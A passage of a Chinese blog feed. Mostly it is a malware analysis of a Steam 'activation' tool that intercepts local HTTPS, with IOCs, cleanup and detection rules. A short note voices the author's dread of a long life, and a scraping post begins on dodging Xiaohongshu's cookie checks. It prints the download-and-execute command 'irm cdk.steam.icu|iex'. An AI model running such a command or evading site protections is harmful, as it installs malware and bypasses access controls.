<p>上述脱壳分析方法论可归纳为：&quot;静态加密 → 动态脱壳 → 用脱壳镜像反向闭环每一条系统侧证据 → 静态分析在 VMP mutation 处终止&quot;——该流程对 VMProtect 系样本具有通用性。</p><h2 id="13-">13. 触发因素归因：《猛兽派对》为何稳定复现</h2><p>需先界定范围边界：该工具<strong>并非</strong>针对《猛兽派对》定制开发，而是一类通用的&quot;Steam CDK 激活 / 入库&quot;工具——任何走 Steamworks 票据 + Manifest + Depot Key + Denuvo/Codefusion 反篡改流程的游戏均在其支持范围内。本案例中由《猛兽派对》稳定触发的原因在于：该游戏的反篡改握手在 Steam 启动早期高频发生，使资源泄漏在统计意义上最快被观察到。其他任何挂载 Denuvo/Codefusion 反篡改的游戏均能复现该链路。</p><p>基于此可回答最初的反常现象——为何单一游戏触发：</p><pre class=""><code class="">Steam 启动 → stage-2 已常驻 Steam 进程
《猛兽派对》启动 → 触发 Steam 的 Steamworks/票据/Manifest/反篡改流程
stage-2 接管上述流量
8443 端的伪服务端高频处理 accept → 线程风暴
游戏退出 → stage-2 未正确清理本地服务/连接
Steam 进程保留所有未释放的 worker 线程 → 资源占用居高不下
重启 Steam 进程后方可回收
</code></pre>
<p>该现象并非《猛兽派对》自身触发的 Steam 故障，而是该游戏激活了被植入的伪反篡改链路，<strong>线程风暴是该链路在游戏退出阶段未能正确释放资源的副作用</strong>。</p><h2 id="14-irm-cdksteamicu--iex-">14. 入侵入口分析：<code>irm cdk.steam.icu | iex</code> 一行下载执行</h2><p>入侵入口由受害者主动提供的&quot;激活教程&quot;反向溯源得出——单条 PowerShell 命令：</p><pre class="language-powershell lang-powershell"><code class="language-powershell lang-powershell">irm cdk.steam.icu|iex
</code></pre>
<p><code>irm</code> 为 <code>Invoke-RestMethod</code>，从指定域名下载脚本；<code>iex</code> 为 <code>Invoke-Expression</code>，将下载内容立即在当前 shell 中执行。该模式下用户无法预先审查远端脚本内容。</p><p>根据系统侧落地状态反推，该远端脚本至少完成下列操作：</p><pre class=""><code class="">向 F:\steam\ 写入 xinput1_4.dll                          (stage-1)
向 %LOCALAPPDATA%\Steam\ 写入 localData.vdf              (XOR 0xFF 加壳的 stage-2)
向 hosts 追加 codefusion/antitamper 6 个域名的 127.0.0.1 映射
向 系统根证书库 (LocalMachine\Root) 安装 DCS Root CA G2
随后引导用户在 Steam 中输入&quot;激活码&quot;
   ——实际为与 stage-2 的伪 CDK Active 流程交互（§12.11 CMsgCdkActiveRequest）
</code></pre>
<p>旧 Steam 持续异常的原因在于上述文件与系统配置均已植入；新安装的 <code>F:\teststeam</code> 未涉及上述任何文件或配置，因此运行正常。</p><h2 id="15-">15. 工具定性与威胁评级</h2><p>本节就两个常见疑问给出基于前述分析的定性结论。</p><blockquote><p><strong>疑问 1：该样本是否属于传统意义上的病毒？</strong></p></blockquote>
<p>否。该样本不具备自我复制与横向传播的传统病毒特征，但具备一组完整且明确的恶意/灰产组件特征：</p><ul><li>以 <code>xinput1_4.dll</code> 伪装名实施 DLL 侧载；</li><li>stage-2 隐藏于 <code>localData.vdf</code> 并以 XOR 0xFF 简单加壳；</li><li>在 Steam 进程内以 MemoryModule 风格手动映射 PE、调用导出函数 <code>loadLib</code>；</li><li>修改 <code>hosts</code> 文件；</li><li>安装自签 Root CA 至系统受信任根存储；</li><li>以 <code>cmd /c netsh</code>、<code>powershell -WindowStyle Hidden</code>、<code>Start-Process -Verb RunAs</code> 等方式完成隐藏执行与权限提升；</li><li>创建本地 HTTPS 端口转发（443 → 8443）；</li><li>对 Steam 鉴权流程与 Denuvo/Codefusion 反篡改通信实施 hook 与协议级伪造。</li></ul><blockquote><p><strong>疑问 2：该样本是否仅为&quot;Steam 入库脚本&quot;，用于绕过 Denuvo 加密？</strong></p></blockquote>
<p>部分正确。基于完整行为面的定性如下：</p><ul><li><strong>本质</strong>：针对 Steam + Denuvo/Codefusion 的本地伪服务 / MITM 链；</li><li><strong>目的</strong>：拦截并伪造 Denuvo/Anti-Tamper 验证、Steamworks 票据、Depot Key、Manifest 鉴权、CDK 激活等关键鉴权节点；</li><li><strong>分发包装</strong>：以&quot;激活码 / Steam 入库 / 可联机版本&quot;等形式在灰产渠道销售给终端玩家。</li></ul><blockquote><p><strong>威胁评级补充：是否存在盗号风险？</strong></p></blockquote>
<p>样本已具备<strong>对本机 HTTPS 流量的透明拦截能力</strong>，理论上可截取经过 <code>127.0.0.1:443</code> 的任意明文；配合 <code>DCS Root CA G2</code> 自签根证书，还可签发任意域名的伪叶证书。<strong>即使该样本主要目的并非凭据窃取，其技术能力已涵盖密码截留、Steam 流量改写、游戏会话注入等场景</strong>。按恶意软件处理符合一般安全实践标准。</p><h2 id="16-">16. 分析的不足与未解问题</h2><h3 id="161-">16.1 静态分析能力的结论边界</h3><p>本报告基于对脱壳后 stage-2 镜像（<code>stage2_unpacked.bin</code>，SHA256 <code>8911004D…</code>）的静态分析。该镜像虽已绕过 VMProtect 的外层加密，但仍存在两个本质性的不可见区域：</p><ol start="1"><li><strong>VMProtect mutation 层</strong>：TLS callback <code>sub_565de0</code> 入口处即跳入加密区内大段被 mutation 处理的指令流（典型形态：<code>pushfq / dummy-math / popfq</code> + 栈位置交换 + <code>call $+5; add [rsp], -X</code> 形式的计算跳转，指令膨胀 5–10 倍）。该层在脱壳镜像中以明文字节形态存在，可逐行反汇编，但语义被打散至无法静态恢复。</li><li><strong>按需解密代码段</strong>：脱壳镜像捕获的是 stage-2 在 <code>loadLib</code> 被调用、worker thread 派生、TLS callback 已运行完毕这一时刻的内存快照。本工具的 hook handler、协议状态机等更深层函数仅在被首次触发时才解密——dump 时未触发的代码路径仍呈密文/噪声形态。<code>SymFromAddr</code> 唯一调用站点周围 70 字节的字节流（<code>73 cb 6d 75 8e 1d 95 42 5e 78 46 1e 7d 05 df 70</code> 等）即属此类。</li></ol><p>本节明确列出<strong>仅凭当前静态分析无法给出确定结论</strong>的若干关键问题，作为后续动态分析的接力清单。</p><h3 id="162-">16.2 未解问题清单</h3><p>下表枚举本次分析未能在静态层面闭合的所有具体问题，并给出&quot;边界条件&quot;与&quot;动态分析中的解决路径&quot;：</p><table><thead><tr><th> # </th><th> 未解问题 </th><th> 静态分析的边界条件 </th><th> 推荐的动态分析手段 </th></tr></thead><tbody><tr><td> 1 </td><td> TLS callback 执行体将 258 个 API 真实地址填入 0x328000 函数指针表的具体序列 </td><td> §12.10 / §12.12：被 VMProtect mutation 完全包裹 </td><td> 在 <code>LoadLibraryExW</code> / <code>GetProcAddress</code> 入口下条件断点，按调用 hash 排序记录解析序列 </td></tr><tr><td> 2 </td><td> inline hook 实际安装至 Steam 哪些具体函数（按 PDB 符号名） </td><td> <code>SymFromAddr</code> 唯一调用站点（rva 0x2b595）周围被 mutation 噪声覆盖，<code>PSYMBOL_INFO</code> 名字无法静态读出 </td><td> 在 <code>SymFromAddr</code> 调用返回处下断点，dump <code>pSymbol-&gt;Name</code>；亦可监控 <code>VirtualProtect(PAGE_EXECUTE_READWRITE)</code> 命中点定位被 patch 的目标地址 </td></tr><tr><td> 3 </td><td> <code>CMsgEncrypt</code> 应用层加密的算法、密钥派生与 IV 策略 </td><td> AES 实现代码与密钥协商代码均很可能位于按需解密区 </td><td> 监控 <code>BCryptGenRandom</code>（生成随机数）+ <code>CryptHashData</code>（密钥派生）+ <code>CertGetCertificateContextProperty</code>（取出私钥）调用序列，配合 8443 端 socket 抓包对比明文/密文 </td></tr><tr><td> 4 </td><td> 8443 server 处理 <code>CMsgGet*Request</code> 时为本地构造响应还是 forward 至上游 C2 </td><td> 协议字段定义在 §12.11 已获取，但分发函数（决定 forward / 本地）位于按需解密区 </td><td> 在 8443 端架设拦截代理（mitmproxy），同时监控 stage-2 内 <code>WinHttpSendRequest</code> 出站调用，观察请求是否同步出现在双向链路 </td></tr><tr><td> 5 </td><td> CDK 激活码（用户输入字符串）在协议中的实际承载位置与流转路径 </td><td> <code>CMsgCdkActiveRequest</code> 仅含 <code>steam_id / timestamp</code>，未见激活码字段；激活码可能在另一未发现的 message、HTTP form post 或 stage-0 PowerShell 脚本中承载 </td><td> 反向工程 <code>cdk.steam.icu/iex</code> 脚本；同时监控 stage-2 内 <code>WinHttpAddRequestHeaders</code> / <code>send</code> 调用的具体载荷 </td></tr><tr><td> 6 </td><td> 伪造的 <code>depot_key</code> 与本地 depot 文件的协同方式（depot 文件本身的加密方案） </td><td> 本工具不携带 depot 文件——文件分发渠道在样本范围之外 </td><td> 获取一份完整的&quot;已激活&quot;环境，对照 <code>steamapps\depotcache*.manifest</code> 与正版 manifest 的差异，反推作者的预加密流程 </td></tr><tr><td> 7 </td><td> 6 个 codefusion / antitamper C2 域名背后的真实上游部署 </td><td> hosts 已全部劫持至 127.0.0.1，无法通过 DNS / TLS 探测真实 IP </td><td> 在隔离环境下临时还原 hosts，使样本与真实 C2 通信，捕获握手目标 IP 与证书链 </td></tr></tbody></table><h3 id="163-">16.3 已建立但未观察到使用的能力</h3><p>下述能力在脱壳镜像中明确存在（API 已被解析至 0x328000 表、字符串已落地），但<strong>当前分析未观察到对应的具体使用代码路径</strong>——既不能确证其当前被使用、也不能排除：</p><table><thead><tr><th> 能力 </th><th> 凭据 </th><th> 风险面 </th></tr></thead><tbody><tr><td> 任意子进程派生 </td><td> <code>kernel32.CreateProcessA</code>（在 258 项解析表内）+ <code>shell32.ShellExecuteA / ShellExecuteExA</code> </td><td> 一旦被启用，可在 Steam 进程上下文执行任意命令 </td></tr><tr><td> 任意 DLL 运行时加载 </td><td> <code>LoadLibraryExW</code> 已解析；MemoryModule 风格的手动 PE 映射器在 stage-1 已实现并被复用 </td><td> 工具可从远端拉取并加载额外 payload，无需更新本地文件 </td></tr><tr><td> 任意 HTTP 出站 </td><td> 13 个 <code>WinHttp*</code> API 全部解析；<code>force_proxy</code> / <code>use_https</code> 等 <code>CCloud_ClientFileDownload_Request</code> 字段提示曾考虑文件下载场景 </td><td> 与 (1) 配合，可下载并执行任意外部代码 </td></tr><tr><td> 进程枚举与线程操控 </td><td> <code>CreateToolhelp32Snapshot</code> / <code>Thread32First/Next</code> / <code>OpenThread</code> / <code>SuspendThread</code> / <code>SetThreadContext</code> </td><td> 当前用于 Steam 进程内 hook 安装；技术上也可注入其他用户态进程 </td></tr><tr><td> 文件系统遍历 </td><td> <code>FindFirstFileW / FindNextFileW / FindClose</code> + <code>GetFileAttributesExW</code> </td><td> 当前用途未明，但具备遍历用户目录的全部 API </td></tr></tbody></table><p><strong>结论</strong>：本工具的&quot;静态可观测行为&quot;局限于 Steam 游戏激活伪造场景；但其&quot;运行时能力面&quot;在 API 解析层面已远超该用途所需。这意味着 C2 端只需推送少量逻辑（无需新文件落地），即可激活上述任一能力。</p><h3 id="164-">16.4 结论置信度标注</h3><p>为便于后续读者引用本报告的具体结论，下列条目按置信度分级：</p><ul><li><strong>高置信度</strong>：所有指纹/哈希（证书 SHA256、文件 SHA256、PDB 路径、引用域名），以及所有结构性结论（stage-1 加载链、stage-2 节布局、嵌入证书的密钥对匹配关系、protobuf schema 字段名）。</li><li><strong>中置信度</strong>：部分函数语义标注（如 <code>sub_293d0 = 安装编排函数</code>、<code>sub_2cb80 = loadLib_export</code>、<code>sub_2ec20c = _beginthreadex</code>）——基于反汇编 + 调用关系推断，未经动态验证。</li><li><strong>较低置信度</strong>：258 项 API 解析表中 ws2_32 部分 ordinal-to-slot 的精确映射——§12.13 中曾出现 <code>mov ecx, 0x35; call ntohs(?)</code> 等参数与目标 API 不一致的情况，提示运行时实际填表顺序可能与本报告推断存在 ±数个 slot 的偏移。结构性结论（&quot;该函数为 8443 server&quot;）不受影响，但精确至&quot;某个 ordinal 对应哪个 API&quot;的标注须以动态验证为准。</li></ul><h2 id="17-">17. 清理脚本</h2><pre class="language-powershell lang-powershell"><code class="language-powershell lang-powershell"># 隔离样本（先重命名而非删除，便于后续回查；稳定运行数日后再删除）
Rename-Item &quot;F:\steam\xinput1_4.dll&quot; &quot;xinput1_4.dll.suspect&quot; -ErrorAction SilentlyContinue
Rename-Item &quot;$env:LOCALAPPDATA\Steam\localData.vdf&quot; &quot;localData.vdf.suspect&quot; -ErrorAction SilentlyContinue

# 清除 portproxy 规则
Remove-ItemProperty &#x27;HKLM:\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4\tcp&#x27; `
  -Name &#x27;127.0.0.1/443&#x27; -ErrorAction SilentlyContinue
net stop iphlpsvc
net start iphlpsvc
netsh interface portproxy show all   # 预期输出为空

# 清除 hosts 中的恶意条目
# 以管理员权限手动编辑 C:\Windows\System32\drivers\etc\hosts
# 删除 &quot;# Network optimization configuration&quot; 及其后 6 行 srv0X.* 条目

# 删除伪根证书
Get-ChildItem Cert:\LocalMachine\Root,Cert:\CurrentUser\Root |
  Where-Object { $_.Thumbprint -eq &#x27;2EB151DBA0C9F77E90F7D15EAFBAB7EDACEB4E9F&#x27; } |
  Remove-Item

# 清理结果验证
netsh interface portproxy show all
Get-Content &quot;C:\Windows\System32\drivers\etc\hosts&quot; |
  Select-String &#x27;codefusion|antitamper|Network optimization&#x27;
Get-ChildItem Cert:\LocalMachine\Root,Cert:\CurrentUser\Root |
  Where-Object { $_.Thumbprint -eq &#x27;2EB151DBA0C9F77E90F7D15EAFBAB7EDACEB4E9F&#x27; }
Get-ChildItem F:\steam -Filter xinput1_4.dll
</code></pre>
<p>清理完成后，受影响主机上的 Steam 不再创建 <code>443 → 8443</code> portproxy 规则，《猛兽派对》启动后不再触发 Steam 高占用——问题闭环。</p><h2 id="18-ioc-">18. IOC 速查</h2><p>文件：</p><pre class=""><code class="">F:\steam\xinput1_4.dll
  SHA256: 631C8757165C9BACE8D6CFE019425ED5AC97319CF2D8FD2B07A8E32025711FB4
  签名者: 山西荣升源科贸有限公司 (Verokey EV)

%LOCALAPPDATA%\Steam\localData.vdf
  SHA256: 81F04831573AB983E7F4D7A64B375D0C66C6C282FFEFA00EA105F433CC8AC6A8

localData.vdf XOR 0xFF 解码后（hid.dll, 导出 loadLib，VMP 加壳态）
  SHA256: D9ADF672F5A4405B0C113C9EEC653653FB0D8152875FCEB85BA30D2350F79C85

localData.vdf 解码 + 动态脱壳后的完整 PE 镜像（含原始字符串/证书/私钥）
  SHA256: 8911004DF9FA21350E085CBCAEFAA1A18E2E0DADFEDDF2E22E76EC55E4CEFCEC
  大小:    8,560,640 bytes
</code></pre>
<p>证书（脱壳镜像中嵌入）：</p><pre class=""><code class="">根 CA（受信任根，本地系统中安装）
  CN=DCS Root CA G2, O=Digital Certificate Services, C=US
  Thumbprint (SHA1):  2EB151DBA0C9F77E90F7D15EAFBAB7EDACEB4E9F
  DER  SHA256:        77FD7C44B8973F12D145D02BCF91FE03C85F93FA9B72988CE70E8D7F16F35B35
  有效期: 2025-11-14 ~ 2035-11-12

伪服务端叶证书（多 SNI 复用）
  CN=srv01.codefusion.technology, O=CodeFusion Technology LLC, C=US
  Issuer: CN=DCS Root CA G2
  DER  SHA256:        19B7FC43963DD116AC8CA280CA0DCDDD758D414D313F2EEA5D2630B68A40CA79
  有效期: 2025-11-13 ~ 2035-11-11
  随附 RSA 2048 私钥（pubkey MD5 与叶证书匹配: 928e386311c6148e727c543ce099c875）
</code></pre>
<p>域名（hosts 中被指向 127.0.0.1）：</p><pre class=""><code class="">srv01.codefusion.technology / srv02.* / srv03.*
srv01.antitamper.net        / srv02.* / srv03.*
</code></pre>
<p>端口：</p><pre class=""><code class="">127.0.0.1:443  →  127.0.0.1:8443 (Steam.exe)
</code></pre>
<p>入侵入口：</p><pre class=""><code class="">irm cdk.steam.icu | iex
</code></pre>
<p>进程链：</p><pre class=""><code class="">Steam.exe → cmd.exe /c → netsh interface portproxy add v4tov4 ...
</code></pre>
<h2 id="19-">19. 排查方法论复盘</h2><p>本次取证过程中得到验证的若干可复用方法论原则：</p><ol start="1"><li><strong>优先排除&quot;软&quot;假设，再采集硬证据</strong>。在采集进程内存 dump 之前，先对 Steam Overlay / Shader 预缓存 / Input / 录制等可疑子系统逐一关闭以验证排除，从而将分析方向由&quot;Steam 客户端缺陷&quot;转向&quot;Steam 进程内异常&quot;。</li><li><strong>进程内存 dump 是关键拐点</strong>。任务管理器仅能提供&quot;CPU 高、内存大、线程多&quot;的表层指标；而 minidump 解析可定位&quot;高在何处、内存区段属性如何、线程由谁创建&quot;。同时观察到大段匿名 <code>PAGE_EXECUTE_READWRITE</code> 内存与 socket accept 风暴，即可基本判定 Steam 进程被注入。</li><li><strong>网络层不可见、端口层可见</strong>。<code>Get-NetTCPConnection</code> + <code>netsh interface portproxy show all</code> 是 Windows 平台排查本地 MITM 链路的两个关键检查点。</li><li><strong>portproxy 被删除后立即重建</strong>——该信号的价值高于&quot;直接观察到 portproxy&quot;，表明存在主动持久化进程。</li><li><strong>Procmon 抓父子进程链优先于抓全量事件</strong>。指定 <code>Operation = Process Create</code> + 时间窗口 + PID Include 过滤，数十秒内即可观察到 <code>Steam.exe → cmd.exe → netsh.exe</code> 链。</li><li><strong>干净环境对照实验是低成本的高速复测手段</strong>。新装一份 <code>F:\teststeam</code> 进行差异对照，远快于&quot;逐项 disable + 单独复测&quot;，可直接将污染范围收敛至旧目录差异。</li><li><strong>Compare-Object 做差集</strong>直接定位至 <code>xinput1_4.dll</code>，后续以&quot;逐文件改名复测&quot;实施二分收敛。</li><li><strong>静态串扫 + 入口/导出检查</strong>对&quot;伪装系统 DLL&quot;的识别极有效——一个命名为 <code>xinput1_4.dll</code> 但不导出任何 XInput 接口的 PE 已足以立案。</li><li><strong>加壳的 stage-2 在内存中现形</strong>。<code>.text</code> 节熵 7.93 时静态扫描无法识别 <code>netsh</code>、<code>portproxy</code>、<code>8443</code> 等关键字，但运行时 dump 中这些字符串均已被解出——这一现象证明了&quot;在干预前抓 dump&quot;的价值。</li><li><strong>hosts + Root CA + portproxy 三件套是本地 HTTPS 中间人无法回避的三角</strong>——三者缺一不可；观察到其中任一项即应顺藤检查其余两项。</li></ol><h2 id="20-">20. 结论与展望</h2><h3 id="201-">20.1 结论</h3><p>受害者执行了&quot;激活脚本&quot; <code>irm cdk.steam.icu | iex</code>，在 Steam 安装目录下植入了一个伪装为 <code>xinput1_4.dll</code> 的 DLL 侧载加载器；该加载器以 XOR 0xFF 将 stage-2 隐藏于 <code>%LOCALAPPDATA%\Steam\localData.vdf</code>，于运行时手动映射为 <code>hid.dll</code> 并寄宿于 Steam 进程内；通过 <code>hosts → 127.0.0.1</code> + <code>portproxy 443 → 8443</code> + 自签 <code>DCS Root CA G2</code> 拼出一条本地透明 HTTPS 中间人栈，专用于伪造与拦截 Steam Steamworks 及 Denuvo/Codefusion 反篡改通信。《猛兽派对》仅为该流程的稳定触发器，Steam 高占用现象是本地伪服务链上线程未正确释放的副作用。</p><p>按恶意 / 灰产组件处理。</p><p>本报告在静态层面已闭合下列要点：</p><ul><li><strong>完整加载链</strong>：<code>irm cdk.steam.icu | iex</code> (stage-0) → <code>xinput1_4.dll</code> (stage-1 loader，XOR 0xFF 解码 + 手动 PE 映射) → <code>localData.vdf</code> (stage-2 镜像，VMProtect 3.x 加壳)；</li><li><strong>本地 MITM 栈三件套</strong>：hosts 改写 + <code>LocalMachine\Root</code> 安装 <code>DCS Root CA G2</code> + <code>netsh portproxy 443→8443</code>，缺一不可，每一项均与代码内的具体函数对应；</li><li><strong>协议级伪造目标</strong>：通过 <code>dbghelp.SymFromAddr</code> 对 Steamworks 内部 <code>GetDepotKey / GetTicket / ManifestAuth / GetEncryptTicket</code> 等鉴权函数实施 inline hook，配合 <code>steam_server.proto</code> 中的 <code>CMsgGetDepotKey* / CMsgGetTicket* / CMsgGetManifest* / CMsgCdkActiveRequest</code> 完成协议层伪造；</li><li><strong>C2 拓扑</strong>：6 个 codefusion/antitamper 域名被劫持至 127.0.0.1:8443 的进程内伪服务端，再由该伪服务端按需 forward 至上游真实 C2（<code>cdk.steam.icu</code> 与 stage-2 内嵌的若干域名）；</li><li><strong>威胁能力面</strong>：脱壳镜像已解析的 258 项 API 调用面（含 <code>CreateProcessA / LoadLibraryExW / WinHttp* / Thread32* / VirtualProtect</code>）远超 Steam 入库伪造场景的实际所需，构成可由作者后续推送任意 payload 的远控基础设施。</li></ul><h3 id="202-">20.2 局限性</h3><p>如 §16 所述，本报告的结论建立在<strong>脱壳镜像静态分析</strong>之上，存在两类系统性盲区：</p><ol start="1"><li><strong>VMProtect mutation 层</strong>：TLS callback 入口及 stage-2 关键函数被 mutation 化指令流包住，语义在静态层面无法恢复；</li><li><strong>按需解密代码段</strong>：脱壳镜像仅捕获到 <code>loadLib</code> 被调用、worker thread 派生时刻的内存快照，未触发的代码路径仍呈密文/噪声形态——包括应用层加密的密钥派生、8443 server 的分发逻辑、CDK 激活码的实际流转路径等。</li></ol><p>读者引用本报告结论时，应区分<strong>结构性结论（高置信度）</strong>与<strong>精确细节（中至较低置信度）</strong>——具体置信度标注见 §16.4。</p><h3 id="203-">20.3 展望：建议的后续工作方向</h3><p>以 §16.2 的未解问题清单为蓝本，可沿下列三条路径继续推进：</p><p><strong>路径 A：通过动态分析闭合 stage-2 行为面</strong></p><ul><li>在隔离虚拟机内运行受感染 Steam，使用 <code>x64dbg</code> + ScyllaHide 附加至 Steam 进程；</li><li>对 <code>LoadLibraryExW / GetProcAddress / SymFromAddr / BCryptGenRandom / VirtualProtect / WinHttpSendRequest</code> 等关键 API 下条件断点；</li><li>顺次解决 §16.2 表中的问题 1（填表序）、2（hook 目标 PDB 符号）、3（<code>CMsgEncrypt</code> 算法）、4（8443 server 的 forward 策略）；</li><li>工具链可选 Frida + InlineHook，以非侵入方式同步采集 API 调用流与协议帧。</li></ul><p><strong>路径 B：协议侧重放与上游 C2 测绘</strong></p><ul><li>在隔离环境下临时还原 hosts，使样本与真实 C2 直接通信，捕获 6 个 codefusion/antitamper 域名背后的真实 IP 与证书链；</li><li>对 <code>cdk.steam.icu/iex</code> 脚本实施反向工程，确认 CDK 激活码的承载渠道（HTTP form / 自定义 message / 嵌入式 PowerShell 配置）；</li><li>重放协议帧，观察伪 server 为本地构造响应还是 forward 至上游，从而判定 C2 端是否持有完整的&quot;已激活账户/depot key&quot;数据库。</li></ul><p><strong>路径 C：分发链溯源与灰产生态画像</strong></p><ul><li>反向定位 <code>cdk.steam.icu</code> 域名的注册、CDN、上游服务器；</li><li>收集&quot;激活码 / Steam 入库 / 可联机版本&quot;销售页面的 IOC（域名、客服联系方式、付款渠道），评估整个灰产生态规模；</li><li>与其他已公开的 Steam 入库工具样本进行特征比对，判断本样本是否属于已知家族（如 <code>DCS / Codefusion</code> 命名空间下的工具集合）。</li></ul><h3 id="204-">20.4 防御侧实操建议</h3><p>对于企业 EDR/SOC 团队，本报告给出的可即时落地的检测规则包括：</p><ol start="1"><li><strong>Steam 客户端进程链异常</strong>：<code>Steam.exe → cmd.exe → netsh.exe interface portproxy add</code> 进程链应列为高优先级告警；</li><li><strong>本地 portproxy 异常</strong>：<code>netsh interface portproxy show all</code> 中存在 <code>127.0.0.1:443 → 127.0.0.1:8443</code> 类映射，结合 <code>iphlpsvc</code> 服务状态综合判定；</li><li><strong>可疑根证书</strong>：<code>LocalMachine\Root</code> 下存在指纹为 <code>2EB151DBA0C9F77E90F7D15EAFBAB7EDACEB4E9F</code> 的证书，或任何 Subject 含 <code>DCS Root CA G2</code> 的证书；</li><li><strong>Steam 目录可疑文件</strong>：<code>&lt;Steam 根目录&gt;\xinput1_4.dll</code> 存在但缺失 XInput 导出符号；<code>%LOCALAPPDATA%\Steam\localData.vdf</code> 文件存在且大小约 2.4 MB（Steam 官方在该路径下不分发同名文件）；</li><li><strong>hosts 异常条目</strong>：<code>hosts</code> 文件中包含 <code>srv0X.codefusion.* / srv0X.antitamper.*</code> 类条目并指向 <code>127.0.0.1</code>。</li></ol><p>对终端用户的最佳实践：<strong>对于任何要求执行 <code>irm | iex</code> / <code>iwr | iex</code> / <code>curl | sh</code> 类一行命令的&quot;激活脚本&quot;应一律拒绝执行</strong>——此类命令将任意远端代码下载并以当前用户权限执行，是当前 Windows 与 macOS 用户面临的主要初始访问向量之一。Steam 官方不存在需执行 PowerShell 脚本的激活流程。</p></div><p style="text-align:right"><a href="https://blog.ovoii.io/posts/notes/pa-steam#comments">览毕，何不一言？</a></p></div>]]></description><link>https://blog.ovoii.io/posts/notes/pa-steam</link><guid isPermaLink="true">https://blog.ovoii.io/posts/notes/pa-steam</guid><dc:creator><![CDATA[顾绯]]></dc:creator><pubDate>Thu, 21 May 2026 21:54:09 GMT</pubDate></item><item><title><![CDATA[活]]></title><description><![CDATA[<div><blockquote>此渲染由 Yohaku API 生成，或存排版之虞，最佳体验请往：<a href="https://blog.ovoii.io/notes/82">https://blog.ovoii.io/notes/82</a></blockquote><div><p>我总感觉我命不久矣。</p><p>我觉得活到八十岁是一件很恐怖的事情——这意味着我还要再度过差不多三倍我现在已经度过的时间，很难想象我还要继续面对这个可怕的世界将近六十年。</p></div><p style="text-align:right"><a href="https://blog.ovoii.io/notes/82#comments">览毕，何不一言？</a></p></div>]]></description><link>https://blog.ovoii.io/notes/82</link><guid isPermaLink="true">https://blog.ovoii.io/notes/82</guid><dc:creator><![CDATA[顾绯]]></dc:creator><pubDate>Sat, 11 Apr 2026 21:55:33 GMT</pubDate></item><item><title><![CDATA[猫捉老鼠]]></title><description><![CDATA[<div><blockquote>此渲染由 Yohaku API 生成，或存排版之虞，最佳体验请往：<a href="https://blog.ovoii.io/posts/notes/cat-catches-mouse">https://blog.ovoii.io/posts/notes/cat-catches-mouse</a></blockquote><div><h2 id="">起因</h2><p>我有个小红书链接解析器，从笔记里扒标题、作者、图片、评论、统计这些信息。某天有人反馈一个分享链接解析失败：</p><pre class=""><code class="">http://xhslink.com/o/4IVKoZeuj0O
</code></pre>
<p>用 <code>aiohttp</code> 请求，跟随重定向，最后落到 <code>/404?errorCode=-510001</code>。浏览器打开同一个链接完全没问题。</p><p>怎么回事？</p><h2 id="-xsectoken">短链重定向和 xsec_token</h2><p>curl 跟一下重定向链：</p><pre class=""><code class="">xhslink.com/o/4IVKoZeuj0O
  → 302 → xiaohongshu.com/discovery/item/6955f790000000001f0042e2?xsec_token=...&amp;type=normal
    → 302 → /404?errorCode=-510001
</code></pre>
<p>短链先 302 到笔记页面，然后笔记页面又 302 到 404。关键参数是 URL 里的 <code>xsec_token</code>，这是小红书的防盗链令牌，服务端会校验它跟当前会话是不是对得上。</p><p>对比浏览器抓包里的请求，第二次多出了一批 Cookie：</p><pre class=""><code class="">a1, webId, websectiga, sec_poison_id, gid, web_session, acw_tc, abRequestId
</code></pre>
<p>这些 Cookie 不是服务端通过 <code>Set-Cookie</code> 下发的，是页面里的 JavaScript 生成的。纯 HTTP 客户端拿不到。</p>
<h2 id="">身份材料的两种来源</h2><p>要复现路线二和路线三，必须先建立一个关键认知——<strong>cookie 不是同一类东西</strong>。有些是本地生成的、有些是服务端签发的。</p><table><thead><tr><th> 类型 </th><th> Cookie </th><th> 怎么得到 </th></tr></thead><tbody><tr><td> <strong>本地生成</strong> </td><td> <code>a1</code> / <code>webId</code> / <code>abRequestId</code> </td><td> Python 代码按固定算法算出来，完全不依赖网络 </td></tr><tr><td> <strong>本地生成</strong> </td><td> <code>loadts</code> / <code>webBuild</code> / <code>xsecappid</code> </td><td> 本地时间戳、版本号、应用 ID，直接写入 cookie jar </td></tr><tr><td> <strong>服务端签发</strong> </td><td> <code>websectiga</code> / <code>sec_poison_id</code> </td><td> POST <code>/api/sec/v1/scripting</code>，服务端下发一段 JS，本地按固定偏移解 </td></tr><tr><td> <strong>服务端签发</strong> </td><td> <code>gid</code> / <code>acw_tc</code> </td><td> POST <code>/api/sec/v1/shield/webprofile</code>，body 里带加密指纹，服务端 <code>Set-Cookie</code> </td></tr><tr><td> <strong>服务端签发</strong> </td><td> <code>web_session</code> </td><td> POST <code>/api/sns/web/v1/login/activate</code>，服务端下发，前缀 <code>03</code> / <code>04</code> </td></tr></tbody></table>
<p>路线一不碰这两类任何一个（所以叫零 session 成本）；路线二要把 9 步跑完、拿全所有 cookie，但不调签名接口；路线三除了全部 cookie，还要自己算出 5 个签名头。</p><h2 id="-ua--cdn-">路线一：移动端 UA + CDN 域名替换</h2><p>这是最朴素的一条路。桌面端要 JS 生成 Cookie 才能过校验，那换个思路，伪装成手机。直接 <code>aiohttp</code> 跟随 302，最终页面 HTTP 200，不需要任何 Cookie 就能拿到 HTML。</p><pre class="language-python lang-python"><code class="language-python lang-python">MOBILE_UA = (
    &quot;Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) &quot;
    &quot;AppleWebKit/605.1.15 (KHTML, like Gecko) &quot;
    &quot;Version/17.0 Mobile/15E148 Safari/604.1&quot;
)

async with aiohttp.ClientSession(
    timeout=aiohttp.ClientTimeout(total=30),
    headers={
        &quot;User-Agent&quot;: MOBILE_UA,
        &quot;Accept&quot;: &quot;text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&quot;,
        &quot;Accept-Language&quot;: &quot;zh-CN,zh;q=0.9&quot;,
    },
) as s:
    async with s.get(share_url, allow_redirects=True) as resp:
        final_url = str(resp.url)
        html = await resp.text(errors=&quot;replace&quot;)

if &quot;/404&quot; in final_url or &quot;errorCode=&quot; in final_url:
    raise RuntimeError(&quot;笔记可能已被删除或风控命中&quot;)
</code></pre>
